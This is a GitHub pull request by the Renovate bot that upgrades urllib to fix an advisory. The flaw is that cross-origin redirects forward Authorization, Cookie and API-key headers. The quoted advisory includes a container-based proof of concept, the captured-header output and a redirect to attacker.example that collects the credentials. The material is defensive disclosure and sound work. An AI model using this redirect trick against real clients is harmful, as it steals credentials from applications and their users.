Skip to content

fix(deps): update dependency urllib to v4 [security] - autoclosed - #74

Closed
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-urllib-vulnerability
Closed

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-urllib-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 26, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
urllib ^3.3.0 → ^4.0.0 age confidence

urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage

CVE-2026-55553 / GHSA-hq3h-g68c-hp78

More information

Details

Summary

urllib supports redirect-following through followRedirect, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a different origin, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as Authorization, Cookie, Proxy-Authorization, and custom auth headers (x-api-key, x-auth-token, x-access-token).

If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.

Affected behavior

Confirmed against urllib v4.9.0. The relevant code is in #requestInternal (src/HttpClient.ts:639-656):

     // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections
      if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) {
        if (res.headers.location) {
          requestContext.redirects++;
          const nextUrl = new URL(res.headers.location, requestUrl.href);
          // Ensure the response is consumed
          await response.body.arrayBuffer();
          debug(
            'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',
            requestId,
            res.status,
            res.headers,
            res.timing,
            nextUrl.href,
          );
          return await this.#requestInternal(nextUrl.href, options, requestContext);
        }
      }

The recursive call this.#requestInternal(nextUrl.href, options, requestContext) reuses the original options object. If the caller supplied credential-bearing headers in options.headers, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.

Redirect-header handling context

The CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up Host during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.

Proof of Concept: 3-container topology

The reproduction uses three separate containers (partner, attacker, client) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a localhost vs 127.0.0.1 same-host case.

[client container]                       [partner container]              [attacker container]
hostname: client                         hostname: partner                hostname: attacker
                                         port: 3001                       port: 3002
   urllib v4.9.0
        │
        │ GET http://partner:3001/start
        │ + 6 credential-bearing headers
        ↓
                                         302 Location:
                                         http://attacker:3002/captured
                                                   │
                                                   │ urllib follows redirect
                                                   │ → DIFFERENT ORIGIN
                                                   │   (different hostname and port)
                                                   │ → all 6 headers preserved
                                                   ↓
                                                                          headers logged
                                                                          inside attacker
                                                                          container

The origin tuple is (scheme, host, port):

  • source origin: http://partner:3001
  • destination origin: http://attacker:3002

The host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.

Client invocation (client/poc.mjs):

import urllib from 'urllib' // v4.9.0

await urllib.request('http://partner:3001/start', {
  followRedirect: true,
  maxRedirects: 5,
  headers: {
    'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',
    'Cookie': 'session=LIVE-COOKIE-3CONTAINER',
    'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',
    'x-api-key': 'sk-LIVE-3CONTAINER-x123',
    'x-auth-token': 'auth-LIVE-3CONTAINER-y456',
    'x-access-token': 'access-LIVE-3CONTAINER-z789',
  },
})

Observed result
urllib 4.9.0, Node.js 22.22.2, linux/arm64:

[attacker] CAPTURED HEADERS:
  "authorization":       "Bearer LIVE-AUTH-3CONTAINER"
  "cookie":              "session=LIVE-COOKIE-3CONTAINER"
  "proxy-authorization": "Bearer proxy-LIVE-3CONTAINER"
  "x-api-key":           "sk-LIVE-3CONTAINER-x123"
  "x-auth-token":        "auth-LIVE-3CONTAINER-y456"
  "x-access-token":      "access-LIVE-3CONTAINER-z789"
  "user-agent":          "node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)"

LEAK RATE: 6/6

The user-agent value confirms that the redirected request was sent by urllib v4.9.0.

Independent reproduction: multi-library comparison

A separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:

  • same partner:3001 → attacker:3002 redirect;
  • same six credential-bearing headers;
  • same RFC 6454 origin boundary.

The results were deterministic across runs:

Library Leak rate Headers stripped on cross-origin redirect
undici 6.21.0 3/6 authorization, cookie, proxy-authorization
needle 3.5.0 3/6 authorization, cookie, proxy-authorization
node-fetch 3.3.2 4/6 authorization, cookie
superagent 10.3.0 4/6 authorization, cookie
@​hapi/wreck 18.1.0 4/6 authorization, cookie
request 2.88.2 5/6 authorization
urllib 4.9.0 6/6 none

urllib was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as x-api-key, x-auth-token, and x-access-token are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as Authorization, Cookie, and Proxy-Authorization.

The reproduction harness is small and can be shared if useful.

Impact

This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.

1. Application sends an authenticated request:
     GET https://api.partner.example/data
     Authorization: Bearer <token>
     Cookie: session=<session-id>

2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:
     302 Location: https://attacker.example/captured

3. urllib follows the redirect and sends the original Authorization and Cookie headers
   to attacker.example.

This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.

This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

node-modules/urllib (urllib)

v4.9.0

Compare Source

v4.8.2

Compare Source

v4.8.1

Compare Source

v4.8.0

Compare Source

Features

v4.7.1

Compare Source

Bug Fixes
  • compatible with urllib@​2 timeout string format (#​580) (5eaf790)

v4.7.0

Compare Source

Features

v4.6.12

Compare Source

Bug Fixes

v4.6.11

Compare Source

Bug Fixes

v4.6.10

Compare Source

Bug Fixes

v4.6.9

Compare Source

Bug Fixes
  • should got undici:client:sendHeaders message on H2 (#​553) (bd19f6d)

v4.6.8

Compare Source

Bug Fixes

v4.6.7

Compare Source

Bug Fixes

v4.6.6

Compare Source

Bug Fixes
  • allow set rejectUnauthorized = true on urllib.request options (#​561) (88785e1)

v4.6.5

Compare Source

Bug Fixes

v4.6.4

Compare Source

Bug Fixes

v4.6.3

Compare Source

Bug Fixes

v4.6.2

Compare Source

Bug Fixes

v4.6.1

Compare Source

Bug Fixes

v4.6.0

Compare Source

Features

v4.5.1

Compare Source

Bug Fixes

v4.5.0

Compare Source

Features

v4.4.0

Compare Source

Features

v4.3.1

Compare Source

Bug Fixes

v4.3.0

Compare Source

Features

v4.2.2

Compare Source

Bug Fixes
  • uncaught exception due to second response with digest auth (#​530) (9a7833e)

v4.2.1

Compare Source

Bug Fixes

v4.2.0

Compare Source

Features

v4.1.0

Compare Source

Features

v4.0.0

Compare Source

⚠ BREAKING CHANGES
  • drop Node.js < 18.19.0 support

part of eggjs/egg#3644


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.


This change is Reviewable

@socket-security

socket-security Bot commented Aug 26, 2026 •

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Updatednpm/​urllib@​3.27.3 ⏵ 4.9.196 -3100 +1610095100

View full report

@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Aug 27, 2026
@renovate renovate Bot closed this Aug 27, 2026
@renovate
renovate Bot deleted the renovate/npm-urllib-vulnerability branch August 27, 2026 00:54
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Aug 27, 2026
@renovate renovate Bot reopened this Aug 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch 2 times, most recently from a159369 to 21788a7 Compare August 27, 2026 01:56
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Aug 27, 2026
@renovate renovate Bot closed this Aug 27, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 3, 2026
@renovate renovate Bot reopened this Sep 3, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch 2 times, most recently from 21788a7 to 67d92f9 Compare September 3, 2026 01:15
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 3, 2026
@renovate renovate Bot closed this Sep 3, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 3, 2026
@renovate renovate Bot reopened this Sep 3, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch from 67d92f9 to 64fcc11 Compare September 3, 2026 13:12
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 4, 2026
@renovate renovate Bot closed this Sep 4, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 7, 2026
@renovate renovate Bot reopened this Sep 7, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch 2 times, most recently from 64fcc11 to c11ae99 Compare September 7, 2026 20:11
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 8, 2026
@renovate renovate Bot closed this Sep 8, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 9, 2026
@renovate renovate Bot reopened this Sep 9, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch from c11ae99 to ed6d6cf Compare September 9, 2026 19:47
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 16, 2026
@renovate renovate Bot closed this Sep 16, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 16, 2026
@renovate renovate Bot reopened this Sep 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch 2 times, most recently from 46e9258 to 07d0508 Compare September 16, 2026 10:07
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 16, 2026
@renovate renovate Bot closed this Sep 16, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 17, 2026
@renovate renovate Bot reopened this Sep 17, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch 2 times, most recently from 07d0508 to 731164b Compare September 17, 2026 19:05
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 17, 2026
@renovate renovate Bot closed this Sep 17, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 18, 2026
@renovate renovate Bot reopened this Sep 18, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch from 731164b to ec74b3f Compare September 18, 2026 21:59
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 19, 2026
@renovate renovate Bot closed this Sep 19, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 23, 2026
@renovate renovate Bot reopened this Sep 23, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch from ec74b3f to 3a056c3 Compare September 23, 2026 17:52
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 24, 2026
@renovate renovate Bot closed this Sep 24, 2026
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] - autoclosed fix(deps): update dependency urllib to v4 [security] Sep 25, 2026
@renovate renovate Bot reopened this Sep 25, 2026
@renovate
renovate Bot force-pushed the renovate/npm-urllib-vulnerability branch from 3a056c3 to 70906cc Compare September 25, 2026 02:33
@renovate renovate Bot changed the title fix(deps): update dependency urllib to v4 [security] fix(deps): update dependency urllib to v4 [security] - autoclosed Sep 25, 2026
@renovate renovate Bot closed this Sep 25, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants